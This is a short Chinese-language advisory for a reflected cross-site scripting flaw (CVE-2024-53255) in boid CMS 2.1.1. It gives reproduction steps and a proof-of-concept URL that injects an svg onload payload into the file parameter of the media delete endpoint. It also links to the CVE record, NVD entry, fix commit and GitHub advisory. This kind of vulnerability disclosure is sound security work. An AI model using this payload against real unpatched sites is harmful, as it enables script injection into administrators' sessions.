
boid CMS 2.1.1 - 反射型跨站脚本攻击 (XSS)
在 /admin?page=media 端点的 file 参数中存在反射型 XSS 漏洞,攻击者可以注入任意 JavaScript 代码
1- 登录 CMS 并导航到删除页面(/admin?page=media)。
2- 选择任意文件进行删除,并使用代理工具拦截该请求。
3- 在拦截到的请求中修改 file 参数为:
<svg+onload%3dalert(document.domain)>
4 - 转发修改后的请求,注入的脚本将会执行。
概念验证 (PoC):
http://localhost/boidcms/admin?page=media&action=delete&file=<svg+onload%3dalert(document.domain)>&token=693b471d9ee886766b69fd0dab9d992cd7f0e1e483822b28b6e8bcde0cf502e4
详情请参阅: https://nvd.nist.gov/vuln/detail/CVE-2024-53255 https://www.cve.org/CVERecord?id=CVE-2024-53255 https://github.com/BoidCMS/BoidCMS/commit/42f4d703a87f5199bbd701b3495a26c91b9cfab7 https://github.com/BoidCMS/BoidCMS/security/advisories/GHSA-7q7m-cgw8-px4r